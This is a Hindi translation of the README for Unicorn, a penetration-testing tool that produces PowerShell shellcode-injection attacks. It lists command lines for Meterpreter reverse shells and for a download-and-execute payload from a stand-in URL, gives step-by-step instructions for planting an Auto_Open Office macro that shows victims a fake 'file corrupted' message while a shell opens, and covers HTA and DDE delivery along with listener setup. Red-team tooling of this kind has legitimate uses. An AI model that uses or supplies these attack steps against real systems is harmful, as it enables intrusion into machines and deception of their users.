trustedsec/unicornUnicorn एक सरल उपकरण है जो PowerShell डाउनग्रेड हमले का उपयोग करके शेलकोड को सीधे मेमोरी में इंजेक्ट करने के लिए है। यह Matthew Graeber के PowerShell हमलों और David Kennedy (TrustedSec) और Josh Kelly द्वारा Defcon 18 में प्रस्तुत PowerShell बायपास तकनीक पर आधारित है।
लेखक: डेव कैनेडी (@HackingDave) वेबसाइट: https://www.trustedsec.com
Magic Unicorn एक सरल उपकरण है जो PowerShell डाउनग्रेड अटैक का उपयोग करके शेलकोड को सीधे मेमोरी में इंजेक्ट करता है। यह Matthew Graeber के PowerShell अटैक और David Kennedy (TrustedSec) और Josh Kelly द्वारा Defcon 18 में प्रस्तुत PowerShell बायपास तकनीक पर आधारित है।
उपयोग सरल है, बस Magic Unicorn चलाएँ (सुनिश्चित करें कि Metasploit स्थापित है यदि Metasploit विधियों का उपयोग कर रहे हैं और सही पथ पर है) और magic unicorn स्वचालित रूप से एक PowerShell कमांड उत्पन्न करेगा जिसे आपको बस कॉपी करके कमांड लाइन विंडो या पेलोड डिलीवरी सिस्टम के माध्यम से पेस्ट करना होगा। Unicorn आपके अपने शेलकोड, कोबाल्ट स्ट्राइक और Metasploit का समर्थन करता है।
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
किसी भी Windows प्लेटफ़ॉर्म पर मूल x86 PowerShell इंजेक्शन हमले।
लेखक: डेव कैनेडी, TrustedSec (https://www.trustedsec.com)
ट्विटर: @TrustedSec, @HackingDave
श्रेय: Matthew Graeber, Justin Elze, Chris Gates
हैप्पी मैजिक यूनिकॉर्न।
उपयोग: python unicorn.py payload reverse_ipaddr port <optional hta या macro, crt>
PS उदाहरण: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
मैक्रो उदाहरण: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
मैक्रो उदाहरण CS: python unicorn.py <cobalt_strike_file.cs> cs macro
मैक्रो उदाहरण शेलकोड: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA उदाहरण: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA उदाहरण CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA उदाहरण शेलकोड: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE उदाहरण: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT उदाहरण: python unicorn.py <path_to_payload/exe_encode> crt
कस्टम PS1 उदाहरण: python unicorn.py <path to ps1 file>
कस्टम PS1 उदाहरण: python unicorn.py <path to ps1 file> macro 500
कोबाल्ट स्ट्राइक उदाहरण: python unicorn.py <cobalt_strike_file.cs> cs (C# प्रारूप में CS निर्यात करें)
कस्टम शेलकोड: python unicorn.py <path_to_shellcode.txt> shellcode (0x00 स्वरूपित)
सहायता मेनू: python unicorn.py --help
अब सब कुछ दो फ़ाइलों में उत्पन्न होता है: powershell_attack.txt और unicorn.rc। टेक्स्ट फ़ाइल में PowerShell अटैक को मेमोरी में इंजेक्ट करने के लिए आवश्यक सभी कोड होते हैं। ध्यान दें कि आपको किसी ऐसे स्थान की आवश्यकता होगी जो किसी प्रकार के रिमोट कमांड इंजेक्शन का समर्थन करता हो। अक्सर यह एक्सेल/वर्ड डॉक, या Metasploit में psexec_commands, SQLi आदि के माध्यम से हो सकता है। इस अटैक के उपयोग के अनेक निहितार्थ और परिदृश्य हैं। बस powershell_attack.txt कमांड को किसी भी कमांड प्रॉम्प्ट विंडो में पेस्ट करें, या जहाँ आपके पास PowerShell निष्पादन योग्य को कॉल करने की क्षमता है, और यह आपको एक शेल वापस देगा। यह अटैक केवल Meterpreter पेलोड के बजाय पेलोड विधि के रूप में windows/download_exec का भी समर्थन करता है। डाउनलोड और निष्पादन का उपयोग करते समय, बस python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe डालें और PowerShell कोड पेलोड डाउनलोड करेगा और निष्पादित करेगा।
ध्यान दें कि अटैक को कैप्चर करने के लिए आपको एक लिसनर सक्षम रखना होगा।
मैक्रो अटैक के लिए, आपको File, Properties, Ribbons पर जाकर Developer चुनना होगा। एक बार ऐसा करने के बाद, आपके पास एक डेवलपर टैब होगा। एक नया मैक्रो बनाएँ, उसे Auto_Open नाम दें और उत्पन्न कोड को उसमें पेस्ट करें। यह स्वचालित रूप से चलेगा। ध्यान दें कि एक संदेश प्रॉम्प्ट होगा जो उपयोगकर्ता को बताएगा कि फ़ाइल दूषित है और अपने आप एक्सेल दस्तावेज़ बंद हो जाएगा। यह सामान्य व्यवहार है! यह पीड़ित को यह सोचने पर मजबूर करने की चाल है कि एक्सेल दस्तावेज़ दूषित है। इसके बाद आपको PowerShell इंजेक्शन के माध्यम से एक शेल प्राप्त करना चाहिए।
यदि आप Office365/2016+ संस्करणों के Word के विरुद्ध इसे तैनात कर रहे हैं, तो आपको आउटपुट की पहली पंक्ति को इस प्रकार बदलना होगा:
Sub Auto_Open()
से:
Sub AutoOpen()
मैक्रो का नाम भी लीगेसी "Auto_Open" नामकरण योजना के बजाय "AutoOpen" होना चाहिए।
नोट: एक्सेल में कॉपी और पेस्ट करते समय, यदि कोई अतिरिक्त स्पेस जुड़ते हैं, तो आपको उन्हें वेरिएबल "x" के अंतर्गत प्रत्येक PowerShell कोड सेक्शन के बाद हटाना होगा, अन्यथा सिंटैक्स त्रुटि होगी!
HTA अटैक स्वचालित रूप से दो फ़ाइलें उत्पन्न करेगा, पहली index.html जो ब्राउज़र को Launcher.hta का उपयोग करने का निर्देश देती है, जिसमें दुर्भावनापूर्ण PowerShell इंजेक्शन कोड होता है। सभी फ़ाइलें hta_access/ फ़ोल्डर में निर्यात की जाती हैं और तीन मुख्य फ़ाइलें होंगी। पहली index.html, दूसरी Launcher.hta और अंतिम, unicorn.rc फ़ाइल। आप msfconsole -r unicorn.rc चलाकर Metasploit के लिए लिसनर लॉन्च कर सकते हैं।
HTA अटैक के सही ढंग से काम करने के लिए उपयोगकर्ता को अनुमति देनी होगी और स्वीकार करना होगा।